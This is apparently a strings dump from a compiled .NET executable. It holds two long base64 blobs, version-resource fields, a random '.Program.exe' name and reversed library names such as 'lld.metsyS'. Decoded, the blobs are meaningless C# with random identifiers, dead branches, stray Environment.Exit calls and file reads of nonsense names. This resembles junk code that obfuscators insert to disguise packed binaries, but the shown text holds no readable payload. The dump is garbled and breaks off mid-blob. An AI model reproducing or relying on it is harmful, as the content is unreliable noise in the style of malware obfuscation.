C0xMjY7IAogQ29uc29sZS5SZWFkTGluZSgpO2xvbmcgbWxRaGFBVksgPSAxNDg2MjUzNjkzNDc1MzY0MTsgCmZsb2F0IFNBcnN3VHFUID0gLTEuMzMyODM1RS0zMUY7IApieXRlIEVOVHpRZHpIID0gIDQ5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7ZG91YmxlIElzVERSTlZpID0gNy41ODE0MzFFLTI5OyAKaWYoSXNURFJOVmkgPT0gMS4yNDc1MzJFKzI3KXsNCklzVERSTlZpID0gTWF0aC5DZWlsaW5nKE1hdGguVGFuaCgwLjEpKTsNCmludD8gdUNOcUZmZCA9IDk0OTIwODk7DQp1Q05xRmZkICs9IDQxNTM7DQp9ZmxvYXQgeW9xQ0labnQgPSAtNTEzLjI5MzlGOyAKaW50IHRDU1lOUUp0ID0gMjI0NjsgCmlmKHRDU1lOUUp0ID09IDYyMzYzMyl7DQp0Q1NZTlFKdCA9IHRDU1lOUUp0ICsgMzA3MjM2Ow0KfXNob3J0IGRWYU9Oa2J4ID0gLTg3NDQ7IAogYnl0ZVtdIGRWYU9Oa2J4ZFZhT05rYnggPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImRWYU9Oa2J4Iik7DQp9cHVibGljIHZvaWQgcFZKQlZMaEIoKXsNCmxvbmcgeUlKVWdsSWwgPSAxNzg0MjE4Mjg2NTU5OTg1MjsgCnN0cmluZyBSVUpZQ3F2TSA9ICJpQWxRUlJvVyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoUlVKWUNxdk0pO2xvbmcgSFNKV1NCeWMgPSA4MDI0NTY2MzE3Mzg3MTk5OTsgCmxvbmcgU1JTTmdacUggPSA3MTk4OTAzNjEyOTk1NTg1MDsgCmRvdWJsZSBWYnRCZVBBVyA9IC01Ljg3MzUxMUUrMzU7IAppZihWYnRCZVBBVyA9PSAtMS4wMDE3MThFKzMyKXsNClZidEJlUEFXID0gTWF0aC5UcnVuY2F0ZShWYnRCZVBBVyk7DQpDb25zb2xlLldyaXRlTGluZShWYnRCZVBBVy5Ub1N0cmluZygpKTsNCn1ieXRlIG9KVFdWeHhSID0gIDA7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1bG9uZyBxZlNCelFxbSA9IDM4NzA1NjAwODU1MjUxNTMwOyAKc3RyaW5nIExiZXNERlJlID0gIlFkTnRHRU5OIjsgCiBDb25zb2xlLldyaXRlTGluZShMYmVzREZSZSk7DQp9cHVibGljIHZvaWQgbkt2aUFNTXcoKXsNCmxvbmcgWHRLQWprQkcgPSA2MjU5MjU2NjI1NTExOTc3NzsgCmludCBWVEl1aW1KbyA9IDI2MTg1OTsgCmlmKFZUSXVpbUpvID09IDYwNDUyNil7DQpWVEl1aW1KbyArPSAxMTM1MTQ7DQp9bG9uZyBBbURzSVhFbyA9IDc4MjUyMjQ2NTc0ODk0ODc4OyAKaW50IHJLWVZESHVKID0gNDA3MTsgCndoaWxlKHJLWVZESHVKID09IDQwNzEpew0KcktZVkRIdUogKz0gODc1OTQ1Ow0KfWRvdWJsZSBMQ01hcWdIRSA9IDEuODY4MzYzRS0yNDsgCkxDTWFxZ0hFID0gTWF0aC5UcnVuY2F0ZShMQ01hcWdIRSk7DQp0cnl7DQppbnQgRVJPVHZjdnREekFwbExSVU5Ec0IgPSA5OTYxNTYzOw0KaWYoRVJPVHZjdnREekFwbExSVU5Ec0IgPT0gODI4NjEpew0KRVJPVHZjdnREekFwbExSVU5Ec0IrKzsNCn1lbHNlew0KRVJPVHZjdnREekFwbExSVU5Ec0ItLTsNCkNvbnNvbGUuV3JpdGUoRVJPVHZjdnREekFwbExSVU5Ec0IuVG9TdHJpbmcoKSk7DQp9DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfWZsb2F0IG9qS3B2dERsID0gMC4wMDAzODkwOTQ5RjsgCnVzaG9ydCBUS213THFOYiA9IDU4MTczOyAKc2hvcnQgaXJ0UEFYRHggPSAxOTU3NTsgCiBieXRlW10gaXJ0UEFYRHhpcnRQQVhEeCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiaXJ0UEFYRHgiKTsNCn1wdWJsaWMgdm9pZCBGRERDQ3Rvcigpew0KYnl0ZSBTRnBZR0dFcSA9ICA3OTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2ludCB4QWpQWFFFUiA9IDE2OyAKaWYoeEFqUFhRRVIgPT0gNDUzMTkxKXsNCnhBalBYUUVSID0gNDk3MDI3Ow0KfWxvbmcgblR3VVBOdUggPSAzNzMzODIyNjg0ODIwOTYxODsgCnVzaG9ydCBlUmZNUFBLWCA9IDI2Nzc5OyAKdWludCBYQ1hHdHJzeSA9IDgwMDY2OyAKYnl0ZSBJckVjT0VLRCA9ICAxNjY7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtieXRlIFJpU05LWXlHID0gIDE5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7bG9uZyBZZWd2cW9FRiA9IDgxNDY5NDA1NjY1MjY0NTI5OyAKDQp9cHVibGljIHZvaWQgbnpUZVZlRFMoKXsNCnVzaG9ydCBFdW1JaGFLaiA9IDU4MTsgCmJ5dGUgVE1YUXVReWYgPSAgODY7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1aW50IGFFZmV1UUpCID0gOTY5Nzk4MjM7IAp1bG9uZyBYYVBUUWxzYiA9IDU1ODUzNzI2OTkwNTUyNDUwOyAKYnl0ZSBEcXF6Y0dwayA9ICAyNTI7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtsb25nIGd3bWZJSnlvID0gNTg5MzQ0ODE1MjY5MDExOyAKc3RyaW5nIGFmUWR4b3JGID0gIlZsSW1HWG1kIjsgCiBDb25zb2xlLldyaXRlTGluZShhZlFkeG9yRik7dWludCBsbUJTZnlsZCA9IDk2OyAKDQp9cHVibGljIHZvaWQgWXlHUlNFZ0soKXsNCnVpbnQgcUR0cEJTcVcgPSA4OTsgCnN0cmluZyBZbEFBdVNrRyA9ICJNT0tpR2lBSCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoWWxBQXVTa0cpO3Nob3J0IGNJZ3J4aXRKID0gLTcyODA7IAogYnl0ZVtdIGNJZ3J4aXRKY0lncnhpdEogPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImNJZ3J4aXRKIik7ZG91YmxlIElNaVNPWXh2ID0gMi45NzU3RS0zMjsgCmRvdWJsZSBpS1pWSXVhckVHb1ZNT25kSlNOcGFLWiA9IC0xLjMzMzEwN0UtMjY7DQpJTWlTT1l4diA9IE1hdGguUm91bmQoaUtaVkl1YXJFR29WTU9uZEpTTnBhS1ogLDEsTWlkcG9pbnRSb3VuZGluZy5Ub0V2ZW4pOw0KdHJ5ew0KaW50IHVwcklFZXZKV2l0ZGZRdEZvSHZTb2dGZkNIU1QgPSA4MjA2MTI5Ow0KaWYodXBySUVldkpXaXRkZlF0Rm9IdlNvZ0ZmQ0hTVCA9PSA5ODQ2NCl7DQp1cHJJRWV2SldpdGRmUXRGb0h2U29nRmZDSFNUKys7DQp9ZWxzZXsNCnVwcklFZXZKV2l0ZGZRdEZvSHZTb2dGZkNIU1QtLTsNCkNvbnNvbGUuV3JpdGUodXBySUVldkpXaXRkZlF0Rm9IdlNvZ0ZmQ0hTVC5Ub1N0cmluZygpKTsNCn0NCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9bG9uZyBidkNvTUVWeiA9IDYzNzcxMDAxOTQxMDg2OTQ3OyAKZG91YmxlIGVlSFNkS0hXID0gMS4zMzU5NzJFLTA3OyAKd2hpbGUoZWVIU2RLSFcgPT0gLTYuMDg2NTIzRS0zMil7DQpkb3VibGUga1Z4Um9NTkZPWHggPSAxLjEyMTAzNUUrMTA7DQprVnhSb01ORk9YeCA9IE1hdGguU3FydCgzKTsNCmVlSFNkS0hXID0ga1Z4Um9NTkZPWHg7DQpmb3IoIDsgOykgew0KQ29uc29sZS5Xcml0ZUxpbmUoLTguMzcwMjcyRS0yMyk7DQp9DQp9c2J5dGUgY3lBclRic0UgPSAgMTIxOyAKIENvbnNvbGUuUmVhZExpbmUoKTtzdHJpbmcgTFZTYmpWc1UgPSAiY3R0T3RYQVMiOyAKIENvbnNvbGUuV3JpdGVMaW5lKExWU2JqVnNVKTsNCn0KfSBwdWJsaWMgY2xhc3MgcWN0dUh2YkJ7cHVibGljIHZvaWQgTFBLZXFZUVgoKXsNCnNieXRlIE9CZUdWZXJsID0gIC04NTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZG91YmxlIHpETWFGRU5rID0gNi41NjU1MjRFKzM0OyAKd2hpbGUoekRNYUZFTmsgPT0gLTMuMzczMTQxRS0xOCl7DQpkb3VibGUgSE9JVEhFRldaZG9vR1ZjenVCZ094bUFIZmJSeXkgPSAtMi41NDgyMjNFLTE0Ow0KdHJ5ew0KQ29uc29sZS5Xcml0ZUxpbmUoekRNYUZFTmsuVG9TdHJpbmcoKSk7DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCkNvbnNvbGUuV3JpdGVMaW5lKGV4Lk1lc3NhZ2UpOw0KfQ0KfWludCB4UkROcEtpdyA9IDE2NTQ3OTsgCndoaWxlKHhSRE5wS2l3ID09IDE2NTQ3OSl7DQp4UkROcEtpdyArPSA4NDQ2NjA7DQp9ZmxvYXQgSmJraGpxdkkgPSAtOC40MDE2MzdFKzE5RjsgCnVpbnQgSFR3bWFKY0sgPSAzNzE4NDI7IApsb25nIG1ocFRsRFRtID0gMjE0NDQwMDY0ODE1MTMzODM7IApieXRlIGJTYWFpVk5LID0gIDE1MjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Vsb25nIHlVY3ZoVmxyID0gNTY1MDgxMzQ1MTY0NjUzMTI7IAoNCn1wdWJsaWMgdm9pZCB2T2hBcExtVygpew0KYnl0ZSBNU2ppUUNTaSA9ICA5MDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2xvbmcgT0N1elh3bUMgPSAyNjE2MzQ4MjE3MTg0ODE4OTsgCnN0cmluZyBZekNHaFFNTCA9ICJ4TWRzTUNyTiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoWXpDR2hRTUwpO3Vsb25nIHZpdmduUHZWID0gODUxNjUxNzc3MTQ1NTYwMjk7IAp1aW50IFh0bUVNaE55ID0gMjE1MjcyOyAKaW50IGh0QVZlbElPID0gMTM5NTsgCndoaWxlKGh0QVZlbElPID09IDEzOTUpew0KaHRBVmVsSU8gKz0gOTA3MzkzOw0KfXNob3J0IGtnRkJjVkRRID0gMTE2MTc7IAogYnl0ZVtdIGtnRkJjVkRRa2dGQmNWRFEgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImtnRkJjVkRRIik7Ynl0ZSBxT3pOdFZXZyA9ICAxNTA7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn1wdWJsaWMgdm9pZCBRdXdQSXVpTigpew0KYnl0ZSBxTXluU1l2cCA9ICA2NTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3NieXRlIFBuWUhvdUpyID0gIC0xOTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7aW50IEtkcnBueWRKID0gNjY3NzUwOTQ7IAppZihLZHJwbnlkSiA9PSAyNTI0NjIpew0KS2RycG55ZEogPSA2MzI3MzI7DQp9Ynl0ZSBMVUN6Z3diZyA9ICAxMjY7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1aW50IG5GbFpOc3BDID0gNzE3NTsgCnN0cmluZyBDeUlGdExBbSA9ICJMRG9sWFZiZCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoQ3lJRnRMQW0pO2RvdWJsZSBvR3pnc2xjZSA9IDEuNTIwNjA3RSsyNTsgCndoaWxlKG9HemdzbGNlID09IDcuNDQ1Mjg4RSswOSl7DQpvR3pnc2xjZSA9IE1hdGguVHJ1bmNhdGUob0d6Z3NsY2UpOw0KQ29uc29sZS5Xcml0ZShvR3pnc2xjZS5Ub1N0cmluZygpKTsNCn11aW50IGNScWt0dFFwID0gNzY7IAoNCn1wdWJsaWMgdm9pZCBiS3pKVkxNQigpew0Kc2hvcnQgb0ROUXh1ZkogPSAtMjEyMzsgCiBieXRlW10gb0ROUXh1ZkpvRE5ReHVmSiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygib0ROUXh1ZkoiKTtzYnl0ZSBHQm1MeW9yUSA9ICA2NzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7Ynl0ZSBWdXlUaFJRUSA9ICA2MDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2xvbmcgU1drZFZ2cUwgPSA1MDc5NjM4NDcxNTMzMzU0NzsgCmxvbmcgckJTUUh3bHEgPSAyMTkyMzAyOTU2NDg5MTY2MjsgCnVpbnQgd2NOcE9pbEggPSAyMTQ3MTUzMzsgCnVpbnQgcXB5REVuT2ogPSA0MDc5NTUxOyAKdWxvbmcgbWpqcHhGSVogPSAxMDYyMzc4OTQzMDg2MDY1MDsgCg0KfXB1YmxpYyB2b2lkIHRyeGpTRUtnKCl7DQpieXRlIFJTUXZreExHID0gIDE2NjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3VzaG9ydCBzTHV6WENHSiA9IDQyNjM7IAp1c2hvcnQgbEpOeWpnam8gPSAxMDI4OyAKaW50IFNPSXZicHFSID0gMzc0ODA3OyAKaWYoU09JdmJwcVIgPT0gNjk4OTc0KXsNClNPSXZicHFSID0gU09JdmJwcVIgKyAyOTM3MTI7DQp9aW50IG1hUUZzVXRSID0gOTE4NDkxOyAKd2hpbGUobWFRRnNVdFIgPT0gOTE4NDkxKXsNCm1hUUZzVXRSICs9IDE4Nzk1ODsNCn1mbG9hdCBJY1JuTW5idiA9IDEuNTIzNDgyRS0yMUY7IAppbnQgZVB3WVhCZmsgPSAxNjc7IAp3aGlsZShlUHdZWEJmayA9PSAxNjcpew0KZVB3WVhCZmsgKz0gODg2MDI1Ow0KfWRvdWJsZSBLYmZVc051dCA9IC01LjY2MDE1OUUtMjg7IAppZihLYmZVc051dCA9PSA0LjcxMjk0OEUtMDcpew0KZG91YmxlIGZPc0JvSUxYYXBGVFlQSFhEUmggPSAxLjIyMzE2NEUtMTQ7DQpDb25zb2xlLldyaXRlKEtiZlVzTnV0LlRvU3RyaW5nKCkpOw0KfQ0KfXB1YmxpYyB2b2lkIHZxVHdvYnNrKCl7DQpsb25nIFhMSU11U2tYID0gNTA0OTU1MTU0Njg2ODM3MjE7IAp1aW50IE1neG1EeHFrID0gMjIwODMxMzY7IAp1bG9uZyBKb3JYT0t0aCA9IDM1ODI5OTE2ODA1NTMwNDcyOyAKaW50IGxFa0xSZEROID0gMzM4NzQxOyAKd2hpbGUobEVrTFJkRE4gPT0gMzM4NzQxKXsNCmxFa0xSZEROID0gMjUyOTIwOw0KfXVsb25nIHlsdGlBd2ZhID0gNDMwNTY0MjMxMzIzMzI0MDA7IAp1bG9uZyBjT1JqUVlWSyA9IDQwNDE2MTU2NDIyOTY3MDY4OyAKdXNob3J0IEJDcFZLa1hjID0gNjEzMzA7IApkb3VibGUgTFdFbUVWdlIgPSAtMS44MDA1MDJFLTE1OyAKaWYoTFdFbUVWdlIgPT0gOS45MzIxNDNFKzMwKXsNCmRvdWJsZSBub3VPWmFOYkZuQSA9IC0zLjk2Mjc0NUUtMjg7DQpMV0VtRVZ2UiA9IE1hdGguUm91bmQobm91T1phTmJGbkEgLDEsTWlkcG9pbnRSb3VuZGluZy5Ub0V2ZW4pOw0KQ29uc29sZS5Xcml0ZUxpbmUoTFdFbUVWdlIuVG9TdHJpbmcoKSk7DQp9DQp9cHVibGljIHZvaWQgbGhRU1FMREsoKXsNCmZsb2F0IHhER29uelRpID0gLTEuMjcwNzM0RSsxNEY7IApzdHJpbmcgSmtkTG5qamEgPSAidU9mUU5YU2MiOyAKIENvbnNvbGUuV3JpdGVMaW5lKEprZExuamphKTtzYnl0ZSB3VHZ5R2lUSyA9ICAxMzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyBPU0dicFR6byA9IDIxNjExNTczMzM5MjQ1NDU2OyAKbG9uZyBXcVpQVlVVUiA9IDIxOTE2MDc1NTE3ODQ3OTIzOyAKc2hvcnQgQVBlZWd5ZWQgPSAyODc5MzsgCiBieXRlW10gQVBlZWd5ZWRBUGVlZ3llZCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiQVBlZWd5ZWQiKTtmbG9hdCBXSEljZmljayA9IDcuNTg5MjhFKzI4RjsgCnVsb25nIHZrTHFHV2VZID0gMjEzMzY0MzcyMzI4NjY3NDsgCg0KfXB1YmxpYyB2b2lkIGJjYW5sdlBXKCl7DQpmbG9hdCBGRFF3c3lXVyA9IDEuMDUwMjMyRS0yNEY7IAp1c2hvcnQgQWtpT3BrZlkgPSA1ODUwMTsgCmZsb2F0IHVFWHlwY1RlID0gLTAuMDAwMTU0NTkwMkY7IAp1aW50IFdwUmFKaVdFID0gMTIyNzY5NTM0OyAKbG9uZyBORnBwaFRqdCA9IDYwNTAwOTkzNjI0OTYzOyAKc3RyaW5nIFFVT3RkVnJJID0gIlJiZkZsSVhIIjsgCiBDb25zb2xlLldyaXRlTGluZShRVU90ZFZySSk7dXNob3J0IHB3amV6U1lQID0gNzE2MjsgCmZsb2F0IGxubU50a2hmID0gLTEuMjE1NTdFLTI4RjsgCg0KfQp9IA0KfQ==
VarFileInfo
MKI1ijQYoHseMd3R.Program.exe
InternalName
lld.metsyS
VS_VERSION_INFO
2f212
StringFileInfo
Translation
;Z|
Assembly Version
FileVersion
iTRGTPJTHHsY
JdmEcilMFtvp
lld.gniwarD.metsyS
000004b0
ProductVersion
FileDescription
dXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLklPOw0KdXNpbmcgU3lzdGVtLlRleHQ7DQp1c2luZyBTeXN0ZW0uUmVmbGVjdGlvbjsNCnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7DQp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7DQp1c2luZyBTeXN0ZW0uRHJhd2luZzsNCg0KbmFtZXNwYWNlIE5RZkluenVrcG1scQ0Kew0KCXB1YmxpYyBjbGFzcyBmYmFvZmhnRntwdWJsaWMgdm9pZCBpUnF0WHlVWSgpew0Kc3RyaW5nIFlmaU13UmtGID0gIkZTVHplU2xNIjsgCiBDb25zb2xlLldyaXRlTGluZShZZmlNd1JrRik7dXNob3J0IEFIVExsTnBOID0gNjQ1NTI7IAp1c2hvcnQgTVlkYXJWUHcgPSAzMzUyNzsgCmZsb2F0IGJQcXBDZ0tkID0gMS40MDY2NjhFLTM4RjsgCmRvdWJsZSBCZnZLdkNVbCA9IDguODU4Mjk0RS0zMjsgCndoaWxlKEJmdkt2Q1VsID09IC00LjEzMTQxOEUrMjcpew0KQmZ2S3ZDVWwgPSBNYXRoLkNlaWxpbmcoTWF0aC5Db3MoMikpOw0KaW50W10gRElBb20gPSB7IDk0ODYyNTMgLCAyNjc2IH0gOw0KUmFuZG9tIGFTWW9jPSBuZXcgUmFuZG9tKCk7DQpDb25zb2xlLldyaXRlTGluZShESUFvbVthU1lvYy5OZXh0KDAsMildKTsNCn1mbG9hdCBmQ2xpWWdjUSA9IC00LjcyMjAxOEUtMDZGOyAKc3RyaW5nIGZyekZUWk10ID0gIkRic0dRSHVvIjsgCiBDb25zb2xlLldyaXRlTGluZShmcnpGVFpNdCk7ZmxvYXQgY2FyR01HUE8gPSAtMy43MDc1OUUrMzZGOyAKDQp9cHVibGljIHZvaWQgcEFJUnRvZk4oKXsNCnVzaG9ydCBjRXRYV1JoZCA9IDg3OTg7IApsb25nIFd5bUhDRmdmID0gODI3OTk4OTM4NjQ2Njg0NDE7IApsb25nIGl3WmdqSUl5ID0gMzE2NTI3MTgyNjYzMzQ0NDE7IAppbnQgQWZaekVLbkEgPSAzOTA1NjsgCndoaWxlKEFmWnpFS25BID09IDM5MDU2KXsNCkFmWnpFS25BID0gQWZaekVLbkEgKyA3NDcxMjsNCn1sb25nIFhMRmNVd21NID0gMjU5MTA4MzQ5MjY1NDgwODI7IApmbG9hdCBHYmVjT3dNZSA9IDMuMTAzODA3RS0yMUY7IAp1aW50IE5TUG5ldkN2ID0gMjM3MjsgCnN0cmluZyB6QXNlQVlFZyA9ICJRUnZrWXJaayI7IAogQ29uc29sZS5Xcml0ZUxpbmUoekFzZUFZRWcpOw0KfXB1YmxpYyB2b2lkIEJIcEt1VlVUKCl7DQpsb25nIFZkeG11eGNqID0gMzU3NDMxNDg3OTg5ODkwMjg7IApzYnl0ZSBITmhKT0pNcCA9ICAtNTc7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBjR2pDYWlGVyA9IDMuNjQ4MjY0RS0yODsgCmRvdWJsZSBOSHl3Z2pQZWZiTGN4WW5DZnZqUyA9IE1hdGguSUVFRVJlbWFpbmRlcigzLCA0KTsNCmNHakNhaUZXID0gTkh5d2dqUGVmYkxjeFluQ2Z2alM7DQp0cnl7DQpDb25zb2xlLldyaXRlTGluZShjR2pDYWlGVy5Ub1N0cmluZygpKTsNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KQ29uc29sZS5Xcml0ZUxpbmUoZXguTWVzc2FnZSk7DQp9ZG91YmxlIGhSZWhFVWhjID0gNS44MzgzMzVFLTMzOyAKaFJlaEVVaGMgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW4oMSkpOw0KQ29uc29sZS5Xcml0ZShoUmVoRVVoYy5Ub1N0cmluZygpKTtsb25nIFRQSXh4eWNGID0gMzU3ODc1OTI5NDk2NTIxNDg7IApieXRlIFN6QWd6Q1hiID0gIDE3ODsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2J5dGUgcEpKTkppRHogPSAgODU7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSBCUlpuUHFCayA9ICAtNTA7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIEVNaVZ6cURoKCl7DQp1c2hvcnQgb0dnQUdMT2IgPSA2Mzc2MjsgCnNob3J0IHFoVkJ2UFhZID0gLTExNDI3OyAKIGJ5dGVbXSBxaFZCdlBYWXFoVkJ2UFhZID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJxaFZCdlBYWSIpO3N0cmluZyBySWpOcWpzQSA9ICJ6eVVGZUJSVCI7IAogQ29uc29sZS5Xcml0ZUxpbmUocklqTnFqc0EpO3VzaG9ydCBQa0RHeFBiSSA9IDI0NzU1OyAKdWxvbmcgY25TS3hWSlIgPSAxNjM3MDg5MTk1Nzg5MDc2NDsgCnVzaG9ydCBYanNXS0VWSCA9IDI0NjkxOyAKZmxvYXQgZHJ5dEFSZEMgPSAtOC42NzI3MjVFKzI3RjsgCnVzaG9ydCBGYUVmdG5DcCA9IDI0MzkyOyAKDQp9cHVibGljIHZvaWQgbWZnRkFOSlYoKXsNCmxvbmcgTURCQnVJTHogPSA5OTU3NDg4OTQwMTI1NzgwOyAKdWludCBSemVsdk9rayA9IDgxMTYwOTM5MDsgCmxvbmcgUkNrS2FPblogPSA2NjAxNzYwODcxMTY2MzcyNDsgCmZsb2F0IEx2WW1LaFVwID0gMS4xMzU4OTlFLTA5RjsgCmRvdWJsZSBkQm5pcWVjdiA9IDUuODQzNjE0RS0wNjsgCmlmKGRCbmlxZWN2ID09IDEuODIxNjE5RS0zMSl7DQpkQm5pcWVjdiA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbmgoLTUpKTsNCg0KfXVpbnQgZ1JGY0ZzWGwgPSA4NTQ0OyAKc3RyaW5nIGlGWVZISHRoID0gIkp0UXpNaEZuIjsgCiBDb25zb2xlLldyaXRlTGluZShpRllWSEh0aCk7c2hvcnQgaUlQRkR3QmsgPSAyMTQ5MjsgCiBieXRlW10gaUlQRkR3QmtpSVBGRHdCayA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiaUlQRkR3QmsiKTsNCn1wdWJsaWMgdm9pZCBqR1p1THBDbSgpew0KdXNob3J0IEpjaVdHWEd0ID0gNTk5MjQ7IAppbnQgeGVldk13QXkgPSA0NTQ4MDY7IAp3aGlsZSh4ZWV2TXdBeSA9PSA0NTQ4MDYpew0KeGVldk13QXkgKz0gMTMxNDkwOw0KfWxvbmcgS2RicFdGQkogPSA4NzQxMDM1OTIwNzgwMTMyNTsgCnN0cmluZyBGT2FyWUxyayA9ICJ2VmxDSGhzbyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoRk9hcllMcmspO2ludCBqTVdFWGlhTSA9IDM1OyAKaWYoak1XRVhpYU0gPT0gOTUwMTYzKXsNCmpNV0VYaWFNID0gODc2Mzc1Ow0KfWJ5dGUgYWlhcm5FT0kgPSAgNzc7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzaG9ydCB2QUNqeUFoYSA9IC03MTMyOyAKIGJ5dGVbXSB2QUNqeUFoYXZBQ2p5QWhhID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJ2QUNqeUFoYSIpO3VzaG9ydCBodElWdm5IbCA9IDUxNjc0OyAKDQp9cHVibGljIHZvaWQgT1B5UmJJWk0oKXsNCnVsb25nIHBQcnJOQkhNID0gNjg1NDc2NjE1NjEyOTU3OTU7IApzYnl0ZSBiVFl2TUFaVCA9ICAtOTI7IAogQ29uc29sZS5SZWFkTGluZSgpO3Nob3J0IGhldnNKRmpBID0gLTczOyAKIGJ5dGVbXSBoZXZzSkZqQWhldnNKRmpBID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJoZXZzSkZqQSIpO2RvdWJsZSBrSUtSWWZEdSA9IC0yLjMzMTcyMkUtMzE7IAp3aGlsZShrSUtSWWZEdSA9PSAyLjEyOTE1NUUtMTYpew0Ka0lLUllmRHUgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW4oMSkpOw0Kb2JqZWN0IGRMcFRjeVhHVWdYbnhUc1JrbDsNCmRMcFRjeVhHVWdYbnhUc1JrbCA9IDIuNDc0Nzc2RSszMDsNCn1ieXRlIHZBcHhnVHdaID0gIDg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzaG9ydCBXcVhqc2pwcyA9IDE4ODQxOyAKIGJ5dGVbXSBXcVhqc2pwc1dxWGpzanBzID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJXcVhqc2pwcyIpO2xvbmcgS2x4bVNjV1UgPSAxODc1MDM4MzcxMzIyNjg4OTsgCnVzaG9ydCBZZkZYTnhleSA9IDE3NDQ3OyAKDQp9cHVibGljIHZvaWQgaHhmS3lHTnMoKXsNCmJ5dGUgSmNnT0FUSmwgPSAgMTg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSBDa1ZRaFZ3VCA9ICA5MzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c2J5dGUgcnJITkx6cXUgPSAgLTEyNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7aW50IFBOUWhyemVhID0gNDM7IAp3aGlsZShQTlFocnplYSA9PSA0Myl7DQpQTlFocnplYSArPSA0NjYyNzg7DQp9bG9uZyBZSmRmRkNIcyA9IDgwNzQzMjY2NDkxNDUzMTUyOyAKYnl0ZSBybU1uWmF5dyA9ICAxMjA7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSBrRmtCdk94QSA9ICA4MjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c2J5dGUgTEN2RkJwU3UgPSAgLTgyOyAKIENvbnNvbGUuUmVhZExpbmUoKTsNCn0KfSBwdWJsaWMgY2xhc3MgT3RYa1d5VmF7cHVibGljIHZvaWQgUEl0SGFPcVUoKXsNCnVzaG9ydCBwUVl3TG9CcyA9IDQ1MTY0OyAKZG91YmxlIExrQU1QZHRYID0gMS4yMzMyMTdFKzI1OyAKTGtBTVBkdFggPSBNYXRoLlNxcnQoNCk7DQpDb25zb2xlLldyaXRlTGluZShMa0FNUGR0WC5Ub1N0cmluZygpKTt1aW50IGxVUldXRURnID0gNTg0OTYwOTQ7IAp1aW50IFNrWmtxbXhnID0gMjM7IApzaG9ydCBrWEhFSVVQUyA9IDI1NTE1OyAKIGJ5dGVbXSBrWEhFSVVQU2tYSEVJVVBTID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJrWEhFSVVQUyIpO2J5dGUgU1RJS2d2Z3IgPSAgNjc7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzaG9ydCBtVGRzbE5uayA9IDQyOTsgCiBieXRlW10gbVRkc2xObmttVGRzbE5uayA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygibVRkc2xObmsiKTt1aW50IHlkSHNBdkxQID0gODQ2NDYzMTM5OyAKDQp9cHVibGljIHZvaWQgcHdESlZDZHUoKXsNCmZsb2F0IEtvZHRkU0F2ID0gLTYuMzIyNDk3RjsgCnVzaG9ydCBseVFIbnR6ayA9IDgwNzk7IApmbG9hdCB4UktBY0VubyA9IDcuMDgzMzQ5RS0wN0Y7IApzaG9ydCBnVHpEUnFYRyA9IC0yMDUwOyAKIGJ5dGVbXSBnVHpEUnFYR2dUekRScVhHID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJnVHpEUnFYRyIpO2Zsb2F0IFFtYUVGSE9DID0gLTIuMzM1OTc0RS0zN0Y7IAp1bG9uZyBRZENRRW1TdyA9IDUwMTk3MTQxNDA4ODcwNDI0OyAKdWxvbmcgWU